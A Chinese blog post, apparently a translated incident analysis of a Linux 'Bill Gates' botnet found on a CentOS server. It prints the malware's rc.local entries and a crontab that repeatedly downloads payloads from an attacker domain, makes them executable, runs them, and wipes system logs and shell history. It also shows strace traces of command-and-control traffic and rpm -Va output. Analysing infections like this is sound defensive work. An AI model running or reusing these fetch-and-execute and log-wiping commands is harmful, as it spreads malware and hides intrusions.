基于Linux根据僵尸网络病毒平台《比尔盖茨》

感觉分析的非常好，所以决定翻译出来，希望和大家多多交流O(∩_∩)O~

转载请注明出处：http://blog.****.net/u010484477     O(∩_∩)O谢谢

keyword：病毒。linux，信息安全

我昨天写的日志里面提到，家用路由器在x86的CentOS系统下奇怪的自己行动，像是在自己载入处理器。

于是我决定爬上去看看。在那里发生了什么，然后我立即意识到有人爬到server和挂在进程中的dgnfd564sdf.com。主要是以下几个方面atddd,cupsdd,cupsddh,
ksapdd, kysapdd, skysapdd ,
xfsdxd等等

root      4741  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/sksapd
root      4753  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/xfsdx
root      4756  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/cupsdd
root      4757  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/kysapd
root      4760  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/ksapd
root      4764  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/atdd
root      4767  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/skysapd

启动分析：

起初我摸索着看。究竟是什么让我的电脑如此的妥协。第一件事，我想到/ etc / rc.local检查。有例如以下：

cd /etc;./ksapdd
cd /etc;./kysapdd
cd /etc;./atddd
cd /etc;./ksapdd
cd /etc;./skysapdd
cd /etc;./xfsdxd

“嗯，我想从root那下手。就像这样：

# crontab -e
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
…
*/1 * * * * killall -9 nfsd4
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
…
*/1 * * * * killall -9 profild.key
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
…
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
…
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
…
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
…
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg
*/1 * * * * cd /var/log > auth.log
*/1 * * * * cd /var/log > alternatives.log
*/1 * * * * cd /var/log > boot.log
*/1 * * * * cd /var/log > btmp
*/1 * * * * cd /var/log > cron
…
…
*/1 * * * * cd /var/log > cups
*/1 * * * * cd /var/log > daemon.log
*/1 * * * * cd /var/log > dpkg.log
*/1 * * * * cd /var/log > faillog
*/1 * * * * cd /var/log > kern.log
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog
*/1 * * * * cd /var/log > user.log
*/1 * * * * cd /var/log > Xorg.x.log
*/1 * * * * cd /var/log > anaconda.log
*/1 * * * * cd /var/log > yum.log
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c
…
# Edit this file to introduce tasks to be run by cron.
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.

哦。

他是183кб4036大小，行。

你见过183кб crontab的大小吗？就像我所示这样。

当我进入到server，这些过程已经不是什么都不做（不被处理器，没有使用网络）。

他们已经决定停止运行，恢复业务，不让这些现有的特征一直存在，防止被人发现。他们的strace命令就是这种：

[root@Fatalsrv etc]# strace -p 3312
Process 3312 attached - interrupt to quit
[ Process PID=3312 runs in 32 bit mode. ]
restart_syscall(<... resuming interrupted call ...>) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused)
close(3)                                = 0
nanosleep({15, 0}, NULL)                = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused)
close(3)                                = 0
nanosleep({15, 0}, 

[root@Fatalsrv etc]# strace -p 3268
Process 3268 attached - interrupt to quit
[ Process PID=3268 runs in 32 bit mode. ]
recv(3, 0xfff19338, 4, 0)               = -1 ECONNRESET (Connection reset by peer)
close(3)                                = 0
futex(0x816e8a8, FUTEX_WAKE, 1)         = 1
futex(0x816e8a4, FUTEX_WAKE, 1)         = 1
nanosleep({15, 0}, NULL)                = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("112.90.22.197")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = 401
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0
recv(3, "\4\0\0\0", 4, 0)               = 4
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 27, 0) = 27
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0
recv(3, "\4\0\0\0", 4, 0)               = 4
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0", 27, 0) = 27
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0
recv(3, ^C <unfinished ...>
Process 3268 detached

在这个过程看起来他们差点儿什么都没做，仅仅是偶尔进行的数据採集。当然。他们也刷了刷/ etc / rc.local crontab，这些可运行文件（他们都有SUID位，使得他们有能力进行他们想做的事，可是他为什么没有删除，也没有改变？）。仅仅是刷了/ etc /profile

unset MAILCHECK

这意味着在计算机上的僵尸网络是大约7小时。可能实际上没有那么多。但不低。

如今须要检查是否已改动不论什么系统文件。在CentOS这足够的运行：

rpm -Va

我非常高兴该命令输出了和我预想一样的东西：

[root@Fatalsrv ~]# rpm -Va
S.5....T.  c /etc/ppp/chap-secrets
S.5....T.  c /etc/issue
S.5....T.  c /etc/crontab
S.5....T.  c /etc/nagiosgraph/access.conf
S.5....T.  c /etc/nagiosgraph/nagiosgraph.conf
.M.......    /usr/lib/nagiosgraph/cgi-bin/show.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showconfig.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showgraph.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showgroup.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showhost.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showservice.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/testcolor.cgi
.M.......    /usr/share/nagiosgraph/htdocs/nagiosgraph.css
.M.......    /usr/share/nagiosgraph/htdocs/nagiosgraph.js
S.5....T.    /var/log/nagiosgraph/nagiosgraph-cgi.log
S.5....T.    /var/log/nagiosgraph/nagiosgraph.log
missing     /usr/java/jre1.7.0_40/lib/install.jar
....L....    /lib/modules/2.6.32-358.2.1.el6.x86_64/build
S.5....T.  c /etc/tor/torrc
.M.......    /
.......T.  c /etc/ppp/options.pptpd
S.5....T.  c /etc/pptpd.conf
....L....  c /etc/pam.d/fingerprint-auth
....L....  c /etc/pam.d/password-auth
....L....  c /etc/pam.d/smartcard-auth
....L....  c /etc/pam.d/system-auth
S.5....T.  c /etc/rsyslog.conf
S.5....T.  c /etc/rc.d/rc.local
..5....T.  c /etc/sysctl.conf
S.5....T.  c /etc/vsftpd/vsftpd.conf
.M.......    /var/ftp/pub
..5....T.  c /etc/sysconfig/PlexMediaServer
.......T.    /usr/lib/plexmediaserver/start.sh
S.5....T.  c /etc/sysconfig/lm_sensors
S.5....T.  c /etc/php.ini
S.5....T.  c /etc/httpd/conf/httpd.conf
.......T.    /etc/rc.d/init.d/deluge-daemon
S.5....T.  c /etc/cacti/db.php
S.5....T.  c /etc/cron.d/cacti
S.5....T.  c /etc/httpd/conf.d/cacti.conf
.M.......    /usr/share/cacti
.M.......    /usr/share/cacti/about.php
.M.......    /usr/share/cacti/auth_changepassword.php
.M.......    /usr/share/cacti/auth_login.php
.M.......    /usr/share/cacti/cdef.php
.M.......    /usr/share/cacti/cmd.php
.M.......    /usr/share/cacti/color.php
.M.......    /usr/share/cacti/data_input.php
.M.......    /usr/share/cacti/data_queries.php
.M.......    /usr/share/cacti/data_sources.php
.M.......    /usr/share/cacti/data_templates.php
.M.......    /usr/share/cacti/gprint_presets.php
.M.......    /usr/share/cacti/graph.php
.M.......    /usr/share/cacti/graph_image.php
.M.......    /usr/share/cacti/graph_settings.php
.M.......    /usr/share/cacti/graph_templates.php
.M.......    /usr/share/cacti/graph_templates_inputs.php
.M.......    /usr/share/cacti/graph_templates_items.php
.M.......    /usr/share/cacti/graph_view.php
.M.......    /usr/share/cacti/graph_xport.php
.M.......    /usr/share/cacti/graphs.php
.M.......    /usr/share/cacti/graphs_items.php
.M.......    /usr/share/cacti/graphs_new.php
.M.......    /usr/share/cacti/host.php
.M.......    /usr/share/cacti/host_templates.php
.M.......    /usr/share/cacti/images
.M.......    /usr/share/cacti/images/arrow.gif
.M.......    /usr/share/cacti/images/auth_deny.gif
.M.......    /usr/share/cacti/images/auth_login.gif
.M.......    /usr/share/cacti/images/auth_logout.gif
.M.......    /usr/share/cacti/images/button_add.gif
.M.......    /usr/share/cacti/images/button_cancel.gif
.M.......    /usr/share/cacti/images/button_cancel2.gif
.M.......    /usr/share/cacti/images/button_clear.gif
.M.......    /usr/share/cacti/images/button_colapse_all.gif
.M.......    /usr/share/cacti/images/button_create.gif
.M.......    /usr/share/cacti/images/button_default.gif
.M.......    /usr/share/cacti/images/button_delete.gif
.M.......    /usr/share/cacti/images/button_expand_all.gif
.M.......    /usr/share/cacti/images/button_export.gif
.M.......    /usr/share/cacti/images/button_go.gif
.M.......    /usr/share/cacti/images/button_help.gif
.M.......    /usr/share/cacti/images/button_import.gif
.M.......    /usr/share/cacti/images/button_no.gif
.M.......    /usr/share/cacti/images/button_purge.gif
.M.......    /usr/share/cacti/images/button_refresh.gif
.M.......    /usr/share/cacti/images/button_save.gif
.M.......    /usr/share/cacti/images/button_view.gif
.M.......    /usr/share/cacti/images/button_yes.gif
.M.......    /usr/share/cacti/images/cacti_about_logo.gif
.M.......    /usr/share/cacti/images/cacti_backdrop.gif
.M.......    /usr/share/cacti/images/cacti_backdrop2.gif
.M.......    /usr/share/cacti/images/cacti_logo.gif
.M.......    /usr/share/cacti/images/calendar.gif
.M.......    /usr/share/cacti/images/delete_icon.gif
.M.......    /usr/share/cacti/images/delete_icon_large.gif
.M.......    /usr/share/cacti/images/disable_icon.png
.M.......    /usr/share/cacti/images/enable_icon.png
.M.......    /usr/share/cacti/images/enable_icon_disabled.png
.M.......    /usr/share/cacti/images/favicon.ico
.M.......    /usr/share/cacti/images/graph_page_top.gif
.M.......    /usr/share/cacti/images/graph_properties.gif
.M.......    /usr/share/cacti/images/graph_query.png
.M.......    /usr/share/cacti/images/graph_zoom.gif
.M.......    /usr/share/cacti/images/hide.gif
.M.......    /usr/share/cacti/images/install_icon.png
.M.......    /usr/share/cacti/images/install_icon_disabled.png
.M.......    /usr/share/cacti/images/left_border.gif
.M.......    /usr/share/cacti/images/menu_line.gif
.M.......    /usr/share/cacti/images/menuarrow.gif
.M.......    /usr/share/cacti/images/move_down.gif
.M.......    /usr/share/cacti/images/move_left.gif
.M.......    /usr/share/cacti/images/move_right.gif
.M.......    /usr/share/cacti/images/move_up.gif
.M.......    /usr/share/cacti/images/reload_icon_small.gif
.M.......    /usr/share/cacti/images/shadow.gif
.M.......    /usr/share/cacti/images/shadow_gray.gif
.M.......    /usr/share/cacti/images/show.gif
.M.......    /usr/share/cacti/images/tab_cacti.gif
.M.......    /usr/share/cacti/images/tab_console.gif
.M.......    /usr/share/cacti/images/tab_console_down.gif
.M.......    /usr/share/cacti/images/tab_graphs.gif
.M.......    /usr/share/cacti/images/tab_graphs_down.gif
.M.......    /usr/share/cacti/images/tab_mode_list.gif
.M.......    /usr/share/cacti/images/tab_mode_list_down.gif
.M.......    /usr/share/cacti/images/tab_mode_preview.gif
.M.......    /usr/share/cacti/images/tab_mode_preview_down.gif
.M.......    /usr/share/cacti/images/tab_mode_tree.gif
.M.......    /usr/share/cacti/images/tab_mode_tree_down.gif
.M.......    /usr/share/cacti/images/tab_settings.gif
.M.......    /usr/share/cacti/images/tab_settings_down.gif
.M.......    /usr/share/cacti/images/transparent_line.gif
.M.......    /usr/share/cacti/images/uninstall_icon.gif
.M.......    /usr/share/cacti/images/view_none.gif
.M.......    /usr/share/cacti/include
.M.......    /usr/share/cacti/include/auth.php
.M.......    /usr/share/cacti/include/bottom_footer.php
.M.......    /usr/share/cacti/include/global.php
.M.......    /usr/share/cacti/include/global_arrays.php
.M.......    /usr/share/cacti/include/global_constants.php
.M.......    /usr/share/cacti/include/global_form.php
.M.......    /usr/share/cacti/include/global_settings.php
.M.......    /usr/share/cacti/include/jscalendar
.M.......    /usr/share/cacti/include/jscalendar/calendar-setup.js
.M.......    /usr/share/cacti/include/jscalendar/calendar.js
.M.......    /usr/share/cacti/include/jscalendar/lang
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-af.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-al.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-bg.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-big5-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-big5.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-br.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ca.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-cs-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-cs-win.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-da.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-de.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-du.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-el.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-en.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-es.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-fi.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-fr.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-he-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-hr-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-hr.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-hu.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-it.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-jp.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ko-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ko.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-lt-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-lt.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-lv.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-nl.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-no.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-pl-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-pl.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-pt.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ro.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ru.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ru_win_.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-si.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-sk.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-sp.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-sv.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-tr.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-zh.js
.M.......    /usr/share/cacti/include/jscalendar/lang/cn_utf8.js
.M.......    /usr/share/cacti/include/layout.js
.M.......    /usr/share/cacti/include/main.css
.M.......    /usr/share/cacti/include/plugins.php
.M.......    /usr/share/cacti/include/top_graph_header.php
.M.......    /usr/share/cacti/include/top_header.php
.M.......    /usr/share/cacti/include/treeview
.M.......    /usr/share/cacti/include/treeview/ftiens4.js
.M.......    /usr/share/cacti/include/treeview/ftiens4_export.js
.M.......    /usr/share/cacti/include/treeview/ftv2blank.gif
.M.......    /usr/share/cacti/include/treeview/ftv2lastnode.gif
.M.......    /usr/share/cacti/include/treeview/ftv2mlastnode.gif
.M.......    /usr/share/cacti/include/treeview/ftv2mnode.gif
.M.......    /usr/share/cacti/include/treeview/ftv2node.gif
.M.......    /usr/share/cacti/include/treeview/ftv2plastnode.gif
.M.......    /usr/share/cacti/include/treeview/ftv2pnode.gif
.M.......    /usr/share/cacti/include/treeview/ftv2vertline.gif
.M.......    /usr/share/cacti/include/treeview/ua.js
.M.......    /usr/share/cacti/include/zoom.js
.M.......    /usr/share/cacti/index.php
.M.......    /usr/share/cacti/install
.M.......    /usr/share/cacti/install/0_8_1_to_0_8_2.php
.M.......    /usr/share/cacti/install/0_8_2_to_0_8_2a.php
.M.......    /usr/share/cacti/install/0_8_2a_to_0_8_3.php
.M.......    /usr/share/cacti/install/0_8_3_to_0_8_4.php
.M.......    /usr/share/cacti/install/0_8_4_to_0_8_5.php
.M.......    /usr/share/cacti/install/0_8_5a_to_0_8_6.php
.M.......    /usr/share/cacti/install/0_8_6_to_0_8_6a.php
.M.......    /usr/share/cacti/install/0_8_6c_to_0_8_6d.php
.M.......    /usr/share/cacti/install/0_8_6d_to_0_8_6e.php
.M.......    /usr/share/cacti/install/0_8_6f_to_0_8_6g.php
.M.......    /usr/share/cacti/install/0_8_6g_to_0_8_6h.php
.M.......    /usr/share/cacti/install/0_8_6h_to_0_8_6i.php
.M.......    /usr/share/cacti/install/0_8_6j_to_0_8_7.php
.M.......    /usr/share/cacti/install/0_8_7_to_0_8_7a.php
.M.......    /usr/share/cacti/install/0_8_7a_to_0_8_7b.php
.M.......    /usr/share/cacti/install/0_8_7b_to_0_8_7c.php
.M.......    /usr/share/cacti/install/0_8_7c_to_0_8_7d.php
.M.......    /usr/share/cacti/install/0_8_7d_to_0_8_7e.php
.M.......    /usr/share/cacti/install/0_8_7e_to_0_8_7f.php
.M.......    /usr/share/cacti/install/0_8_7f_to_0_8_7g.php
.M.......    /usr/share/cacti/install/0_8_7g_to_0_8_7h.php
.M.......    /usr/share/cacti/install/0_8_7h_to_0_8_7i.php
.M.......    /usr/share/cacti/install/0_8_7i_to_0_8_8.php
.M.......    /usr/share/cacti/install/0_8_8_to_0_8_8a.php
.M.......    /usr/share/cacti/install/0_8_to_0_8_1.php
.M.......    /usr/share/cacti/install/index.php
.M.......    /usr/share/cacti/install/install_finish.gif
.M.......    /usr/share/cacti/install/install_next.gif
.M.......    /usr/share/cacti/lib
.M.......    /usr/share/cacti/lib/adodb
.M.......    /usr/share/cacti/lib/adodb/adodb-csvlib.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-datadict.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-error.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-errorhandler.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-errorpear.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-exceptions.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-iterator.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-lib.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-pear.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-perf.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-php4.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-time.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-xmlschema.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-access.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-db2.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-firebird.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-generic.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-ibase.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-informix.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-mssql.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-mysql.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-oci8.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-postgres.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-sapdb.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-sybase.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-access.inc.php
